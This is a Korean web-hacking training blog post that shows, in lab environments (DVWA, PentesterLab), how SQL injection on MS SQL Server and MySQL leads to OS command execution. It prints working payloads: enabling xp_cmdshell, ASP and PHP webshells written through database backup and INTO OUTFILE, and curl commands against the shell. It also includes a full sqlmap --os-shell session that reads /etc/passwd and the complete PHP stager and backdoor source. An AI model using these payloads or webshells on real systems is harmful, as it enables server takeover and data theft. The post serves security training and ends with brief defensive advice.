홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 SQL구문삽입을 이용한 운영체제 명령어 실행 (MS SQL Server, MySQL)SQL 구문삽입 취약점이 발생하면 일부 웹서버에서는 운영체제 명령어를 삽입하거나 웹쉘을 생성할 수 있게 된다. 대표적으로는 파일 쓰기 권한이 활성화된 MySQL과 MS SQL 서버이다. MS SQL 서버와 SQL구문삽입을 이용한 OS 명령어 실행
마이크로소프트의 SQL Server는 EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: - 출처: MSSQL Injection Cheat Sheet
MSSQL 2005부터는 기본적으로 MSSQL의 백업 기능을 이용하면 웹쉘을 생성할 수 있다고 한다. use model create table cmd(str image); insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='c:wwwroot\cmd.asp'; - 출처: SQL Injection - xp_cmdshell
위와 같은 SQL 구문삽입이 가능할 경우에는 MySQL의 INTO OUTFILE 절차를 이용한 웹쉘 생성: DVWA SQL Injection의 성공 사례
MySQL에서는
DVWA의 SQL Injection 훈련장의 low level 예를 들어보자
부팅후 확인한 IP 주소는 SQL 구문삽입:: 출력: ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user# First name: Hack Surname: Me ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user# First name: 1 Surname: root:Y ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user# First name: 1 Surname: :N
MYSQL의 5' UNION SELECT 1,"<?php system($_GET['c']); ?>;" INTO OUTFILE '/var/www/hackable/cmdc.php'# - 참고자료: MySQL - LOAD_FILE() 함수 및 INTO OUTFILE 구문을 이용한 SQL Injection
root@kali:~# curl http://192.168.206.136/hackable/cmdc.php Bob Smith 1 ; root@kali:~# curl http://192.168.206.136/hackable/cmdc.php?c=id Bob Smith 1 uid=80(www) gid=80(www) groups=80(www) ; root@kali:~# curl http://192.168.206.136/hackable/cmdc.php?c=cat+/proc/cpuinfo Bob Smith 1 processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 58 model name : Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz stepping : 9 cpu MHz : 3900.000 cache size : 8192 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 13 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx rdtscp lm constant_tsc up arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 x2apic popcnt aes xsave avx f16c rdrnd hypervisor lahf_lm ida arat epb pln pts dts bogomips : 7800.00 clflush size : 64 cache_alignment : 64 address sizes : 42 bits physical, 48 bits virtual power management: ; root@kali:~#
운영체제의
root@slitaz:~# cd /var/www/hackable/ root@slitaz:/var/www/hackable# ls -als total 4 0 drwxrwxrwx 5 root root 120 Jan 9 14:03 . 0 drwxr-xr-x 8 root root 500 Nov 30 18:39 .. 4 -rw-rw-rw- 1 mysql mysql 42 Jan 9 14:03 cmdc.php 0 drwxrwxrwx 2 root root 60 Nov 30 18:39 flags 0 drwxrwxrwx 2 root root 60 Nov 30 18:39 uploads 0 drwxrwxrwx 2 root root 140 Nov 30 18:39 users root@slitaz:/var/www/hackable# cat cmdc.php Bob Smith 1 <?php system($_GET['c']); ?>; root@slitaz:/var/www/hackable#
sqlmap --os-shell
root@kali:~# sqlmap --cookie "PHPSESSID=fo89764m25gnd4nv3pka0iueh6; security=low" -u "http://192.168.206.136/vulnerabilities/sqli/?id=1&Submit=Submit" ___ __H__ ___ ___[(]_____ ___ ___ {1.0.12#stable} |_ -| . ['] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 10:29:29 [10:29:29] [INFO] testing connection to the target URL [10:29:29] [INFO] testing if the target URL is stable [10:29:30] [INFO] target URL is stable [10:29:30] [INFO] testing if GET parameter 'id' is dynamic [10:29:30] [WARNING] GET parameter 'id' does not appear to be dynamic [10:29:30] [INFO] heuristics detected web page charset 'ascii' [10:29:30] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [10:29:30] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting attacks [10:29:30] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [10:29:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:29:32] [WARNING] reflective value(s) found and filtering out [10:29:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [10:29:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [10:29:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' [10:29:33] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="Me") [10:29:33] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [10:29:33] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)' [10:29:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [10:29:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)' [10:29:34] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [10:29:34] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)' [10:29:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [10:29:34] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [10:29:34] [INFO] testing 'MySQL inline queries' [10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries' [10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)' [10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)' [10:29:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [10:29:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [10:29:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [10:29:44] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable [10:29:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:29:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [10:29:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:29:44] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [10:29:44] [INFO] target URL appears to have 2 columns in query [10:29:44] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [10:29:44] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 211 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: id=1' OR NOT 4226=4226#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 2353 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELECT (ELT(2353=2353,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vReX&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5)-- UzQO&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a786b71,0x635243616f474746656c79487a48584e674c4177504c5a4d6e655557616856685562447061597943,0x7178787071)#&Submit=Submit --- [10:29:45] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0 [10:29:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' [*] shutting down at 10:29:45 root@kali:~#
root@kali:~# sqlmap --cookie "PHPSESSID=fo89764m25gnd4nv3pka0iueh6; security=low" -u "http://192.168.206.136/vulnerabilities/sqli/?id=1&Submit=Submit" --os-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.0.12#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 10:29:52 [10:29:52] [INFO] resuming back-end DBMS 'mysql' [10:29:52] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: id=1' OR NOT 4226=4226#&Submit=Submit Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 2353 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELECT (ELT(2353=2353,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vReX&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5)-- UzQO&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a786b71,0x635243616f474746656c79487a48584e674c4177504c5a4d6e655557616856685562447061597943,0x7178787071)#&Submit=Submit --- [10:29:53] [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0 [10:29:53] [INFO] going to use a web backdoor for command prompt [10:29:53] [INFO] fingerprinting the back-end DBMS operating system [10:29:53] [WARNING] reflective value(s) found and filtering out [10:29:53] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [10:29:55] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 1 [10:30:01] [WARNING] unable to automatically parse any web server path [10:30:01] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [10:30:01] [INFO] heuristics detected web page charset 'ascii' [10:30:01] [WARNING] unable to upload the file stager on '/var/www/' [10:30:01] [INFO] trying to upload the file stager on '/var/www/' via UNION method [10:30:01] [WARNING] expect junk characters inside the file as a leftover from UNION query [10:30:01] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [10:30:01] [INFO] trying to upload the file stager on '/var/www/vulnerabilities/sqli/' via LIMIT 'LINES TERMINATED BY' method [10:30:01] [INFO] the file stager has been successfully uploaded on '/var/www/vulnerabilities/sqli/' - http://192.168.206.136:80/vulnerabilities/sqli/tmpuwoas.php [10:30:01] [INFO] the backdoor has been successfully uploaded on '/var/www/vulnerabilities/sqli/' - http://192.168.206.136:80/vulnerabilities/sqli/tmpbxpdk.php [10:30:01] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> pwd do you want to retrieve the command standard output? [Y/n/a] command standard output: '/var/www/vulnerabilities/sqli' os-shell> ls -als do you want to retrieve the command standard output? [Y/n/a] command standard output: --- total 16 0 drwxrwxrwx 4 root root 160 Jan 9 10:30 . 0 drwxrwxrwx 12 root root 300 Nov 30 18:39 .. 0 drwxrwxrwx 2 root root 60 Nov 30 18:39 help 4 -rw-r--r-- 1 root root 3197 Nov 30 18:39 index.php 4 -rw-r--r-- 1 root root 890 Nov 30 18:39 session-input.php 0 drwxrwxrwx 2 root root 120 Nov 30 18:39 source 4 -rwxr-xr-x 1 www www 908 Jan 9 10:30 tmpbxpdk.php 4 -rw-rw-rw- 1 mysql mysql 732 Jan 9 10:30 tmpuwoas.php --- os-shell> id do you want to retrieve the command standard output? [Y/n/a] command standard output: 'uid=80(www) gid=80(www) groups=80(www)' os-shell> uname -a do you want to retrieve the command standard output? [Y/n/a] command standard output: 'Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux' os-shell> cat /etc/passwd do you want to retrieve the command standard output? [Y/n/a] command standard output: --- root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false --- os-shell> exit [10:50:01] [INFO] cleaning up the web files uploaded [10:50:01] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 8 times [10:50:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136' [*] shutting down at 10:50:01 root@kali:~#
File Stager( admin admin<?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/vulnerabilities/sqli/> <input type=submit name=upload value=upload></form>";}?> Backdoor( <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>
MySQL의 INTO OUTFILE 절차를 이용한 웹쉘 생성: PentesterLab From SQL Injection to Shell의 실패 사례
앞서 설명한 바와 같이 MySQL 계정에 파일 쓰기 권한이 없으면 "
입력값
위의 그림에서 출력항목이 하나 더 늘었고, 두 군데서 2를 출력한다. SQL 인젝션이 발생하였다.
이렇게 SQL 구문삽입을 확인하였지만,
입력값
오류는 마무리
가장 안전한 방법은 SQL 구문삽입 취약점이 발생하지 않도록 보안코딩을 하는 것이다.
차선책으로는 웹서비스에서 사용하는 DBMS 계정이 관리자 권한이 아닌 일반 사용자 계정을 이용하는 것이다.
또한 MySQL의 경우에는 설정 파일인 [처음 작성한 날: 2017.01.09] [마지막으로 고친 날: 2017.01.09] < 이전 글 : WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (2017.01.10) > 다음 글 : WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (2017.01.06) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |